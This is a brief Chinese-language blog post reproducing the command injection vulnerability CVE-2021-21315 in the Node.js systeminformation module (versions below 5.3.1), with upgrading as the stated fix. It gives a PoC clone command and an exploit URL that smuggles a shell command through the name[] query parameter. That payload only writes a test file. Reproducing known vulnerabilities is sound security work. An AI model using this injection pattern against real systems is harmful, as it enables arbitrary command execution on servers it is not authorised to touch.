Node.js命令注入漏洞(CVE-2021-21315)复现

编程知识更新时间:2023-05-01 23:51:30

简介

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块，它包含多种轻量级功能，可以检索详细的硬件和系统相关信息。

Systeminformation < 5.3.1

这里用node10.16.0进行测试

源码下载

git clone https://github/ForbiddenProgrammer/CVE-2021-21315-PoC.git

nodejs开启http

node index.js

http://192.168.204.131:8000/api/getServices?name[]=$(echo 'testtest' > test.txt)

升级到安全版本

下载链接：

https://www.npmjs/package/systeminformation

更多推荐

Node.js命令注入漏洞(CVE-2021-21315)复现

本文发布于:2023-04-24 15:08:00，感谢您对本站的认可！

漏洞命令 js Node CVE

评论列表（有 0 条评论）